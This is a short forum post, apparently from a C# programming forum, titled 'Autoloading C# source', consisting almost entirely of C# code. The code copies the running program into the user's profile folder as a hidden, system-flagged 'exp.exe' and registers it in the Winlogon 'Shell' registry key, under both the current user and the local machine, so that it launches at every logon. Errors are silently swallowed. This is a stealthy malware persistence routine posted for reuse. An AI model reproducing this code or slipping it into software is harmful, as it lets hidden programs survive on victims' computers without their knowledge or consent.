Загрузка...

Autoloading C # source

Thread in C# created by Miladora_inactive2301210 May 30, 2019. 218 views

  1. Miladora_inactive2301210
    Code

    string curent = Process.GetCurrentProcess().MainModule.FileName.Split('\\')[Process.GetCurrentProcess().MainModule.FileName.Split('\\').Length - 1];
    string Full = Environment.GetEnvironmentVariable("USERPROFILE") + "\\" + curent;
    string Full2 = Environment.GetEnvironmentVariable("USERPROFILE") + "\\" + "exp.exe";

    if (!File.Exists(Full2))
    {
    File.Copy(Environment.CurrentDirectory + "\\" + curent, Full);
    new FileInfo(Full).Attributes = FileAttributes.Hidden | FileAttributes.System;
    File.Move(Full, Full2);
    File.Delete(Full);
    RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
    key.SetValue("Shell", "explorer.exe, " + Full2);
    try
    {
    RegistryKey key2 = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
    key2.SetValue("Shell", "explorer.exe, " + Full2);
    }
    catch { }
    }
    else
    {

    }
     
Top
Loading...